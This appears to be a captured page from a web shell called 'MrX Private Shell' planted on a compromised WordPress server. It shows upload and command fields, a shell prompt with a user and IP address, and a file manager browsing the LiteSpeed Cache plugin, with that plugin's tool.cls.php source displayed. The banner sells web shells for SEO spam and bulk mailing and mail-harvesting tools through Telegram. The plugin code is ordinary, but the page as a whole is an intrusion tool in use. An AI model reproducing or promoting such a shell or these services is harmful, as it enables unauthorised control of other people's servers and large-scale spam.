__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.200: ~ $
<?php
// phpcs:ignoreFile
/**
 * The tools
 *
 * @since       3.0
 * @package     LiteSpeed
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit();

/**
 * Class Tool
 *
 * Provides utility functions for LiteSpeed Cache, including IP detection and heartbeat control.
 *
 * @since 3.0
 */
class Tool extends Root {

	const LOG_TAG = '[Tool]';

	/**
	 * Get public IP
	 *
	 * Retrieves the public IP address of the server.
	 *
	 * @since  3.0
	 * @access public
	 * @return string The public IP address or an error message.
	 */
	public function check_ip() {
		self::debug( '✅ check_ip' );

		$response = wp_safe_remote_get( 'https://cyberpanel.sh/?ip', array(
			'headers' => array(
				'User-Agent' => 'curl/8.7.1',
			),
		) );

		if ( is_wp_error( $response ) ) {
			return esc_html__( 'Failed to detect IP', 'litespeed-cache' );
		}

		$ip = trim( $response['body'] );

		self::debug( 'result [ip] ' . $ip );

		if ( Utility::valid_ipv4( $ip ) ) {
			return $ip;
		}

		return esc_html__( 'Failed to detect IP', 'litespeed-cache' );
	}

	/**
	 * Heartbeat Control
	 *
	 * Configures WordPress heartbeat settings for frontend, backend, and editor.
	 *
	 * @since  3.0
	 * @access public
	 */
	public function heartbeat() {
		add_action( 'wp_enqueue_scripts', array( $this, 'heartbeat_frontend' ) );
		add_action( 'admin_enqueue_scripts', array( $this, 'heartbeat_backend' ) );
		add_filter( 'heartbeat_settings', array( $this, 'heartbeat_settings' ) );
	}

	/**
	 * Heartbeat Control frontend control
	 *
	 * Manages heartbeat settings for the frontend.
	 *
	 * @since  3.0
	 * @access public
	 */
	public function heartbeat_frontend() {
		if ( ! $this->conf( Base::O_MISC_HEARTBEAT_FRONT ) ) {
			return;
		}

		if ( ! $this->conf( Base::O_MISC_HEARTBEAT_FRONT_TTL ) ) {
			wp_deregister_script( 'heartbeat' );
			Debug2::debug( '[Tool] Deregistered frontend heartbeat' );
		}
	}

	/**
	 * Heartbeat Control backend control
	 *
	 * Manages heartbeat settings for the backend and editor.
	 *
	 * @since  3.0
	 * @access public
	 */
	public function heartbeat_backend() {
		if ( $this->is_editor() ) {
			if ( ! $this->conf( Base::O_MISC_HEARTBEAT_EDITOR ) ) {
				return;
			}

			if ( ! $this->conf( Base::O_MISC_HEARTBEAT_EDITOR_TTL ) ) {
				wp_deregister_script( 'heartbeat' );
				Debug2::debug( '[Tool] Deregistered editor heartbeat' );
			}
		} else {
			if ( ! $this->conf( Base::O_MISC_HEARTBEAT_BACK ) ) {
				return;
			}

			if ( ! $this->conf( Base::O_MISC_HEARTBEAT_BACK_TTL ) ) {
				wp_deregister_script( 'heartbeat' );
				Debug2::debug( '[Tool] Deregistered backend heartbeat' );
			}
		}
	}

	/**
	 * Heartbeat Control settings
	 *
	 * Adjusts heartbeat interval settings based on configuration.
	 *
	 * @since  3.0
	 * @access public
	 * @param array $settings Existing heartbeat settings.
	 * @return array Modified heartbeat settings.
	 */
	public function heartbeat_settings( $settings ) {
		// Check editor first to make frontend editor valid too
		if ( $this->is_editor() ) {
			if ( $this->conf( Base::O_MISC_HEARTBEAT_EDITOR ) ) {
				$settings['interval'] = $this->conf( Base::O_MISC_HEARTBEAT_EDITOR_TTL );
				Debug2::debug( '[Tool] Heartbeat interval set to ' . $this->conf( Base::O_MISC_HEARTBEAT_EDITOR_TTL ) );
			}
		} elseif ( ! is_admin() ) {
			if ( $this->conf( Base::O_MISC_HEARTBEAT_FRONT ) ) {
				$settings['interval'] = $this->conf( Base::O_MISC_HEARTBEAT_FRONT_TTL );
				Debug2::debug( '[Tool] Heartbeat interval set to ' . $this->conf( Base::O_MISC_HEARTBEAT_FRONT_TTL ) );
			}
		} elseif ( $this->conf( Base::O_MISC_HEARTBEAT_BACK ) ) {
			$settings['interval'] = $this->conf( Base::O_MISC_HEARTBEAT_BACK_TTL );
			Debug2::debug( '[Tool] Heartbeat interval set to ' . $this->conf( Base::O_MISC_HEARTBEAT_BACK_TTL ) );
		}
		return $settings;
	}

	/**
	 * Check if in editor
	 *
	 * Determines if the current request is within the WordPress editor.
	 *
	 * @since  3.0
	 * @access public
	 * @return bool True if in editor, false otherwise.
	 */
	public function is_editor() {
		$request_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : '';
		$res         = is_admin() && Utility::str_hit_array( $request_uri, array( 'post.php', 'post-new.php' ) );

		return apply_filters( 'litespeed_is_editor', $res );
	}
}

Filemanager

Name Type Size Permission Actions
cdn Folder 0755
data_structure Folder 0755
activation.cls.php File 17.44 KB 0644
admin-display.cls.php File 48.12 KB 0644
admin-settings.cls.php File 11.12 KB 0644
admin.cls.php File 5.05 KB 0644
api.cls.php File 10.44 KB 0644
avatar.cls.php File 8.68 KB 0644
base.cls.php File 34.58 KB 0644
cdn.cls.php File 15.92 KB 0644
cloud.cls.php File 65.8 KB 0644
conf.cls.php File 19.53 KB 0644
control.cls.php File 24.35 KB 0644
core.cls.php File 21.01 KB 0644
crawler-map.cls.php File 19.43 KB 0644
crawler.cls.php File 42.2 KB 0644
css.cls.php File 15.27 KB 0644
data.cls.php File 16.49 KB 0644
data.upgrade.func.php File 3.07 KB 0644
db-optm.cls.php File 10.34 KB 0644
debug2.cls.php File 14.17 KB 0644
doc.cls.php File 4.07 KB 0644
error.cls.php File 7.38 KB 0644
esi.cls.php File 27.18 KB 0644
file.cls.php File 10.57 KB 0644
gui.cls.php File 36.5 KB 0644
health.cls.php File 2.83 KB 0644
htaccess.cls.php File 24 KB 0644
img-optm.cls.php File 65.13 KB 0644
import.cls.php File 4.29 KB 0644
import.preset.cls.php File 5.5 KB 0644
lang.cls.php File 15.06 KB 0644
localization.cls.php File 3.44 KB 0644
media.cls.php File 40.37 KB 0644
metabox.cls.php File 5.32 KB 0644
object-cache-wp.cls.php File 24.67 KB 0644
object-cache.cls.php File 20.3 KB 0644
object.lib.php File 13.31 KB 0644
optimize.cls.php File 38.66 KB 0644
optimizer.cls.php File 9.41 KB 0644
placeholder.cls.php File 14.19 KB 0644
purge.cls.php File 33.95 KB 0644
report.cls.php File 6.12 KB 0644
rest.cls.php File 8.64 KB 0644
root.cls.php File 13.99 KB 0644
router.cls.php File 20.57 KB 0644
str.cls.php File 3.15 KB 0644
tag.cls.php File 9.26 KB 0644
task.cls.php File 6.13 KB 0644
tool.cls.php File 4.22 KB 0644
ucss.cls.php File 14.37 KB 0644
utility.cls.php File 21.76 KB 0644
vary.cls.php File 20.2 KB 0644
vpi.cls.php File 9.36 KB 0644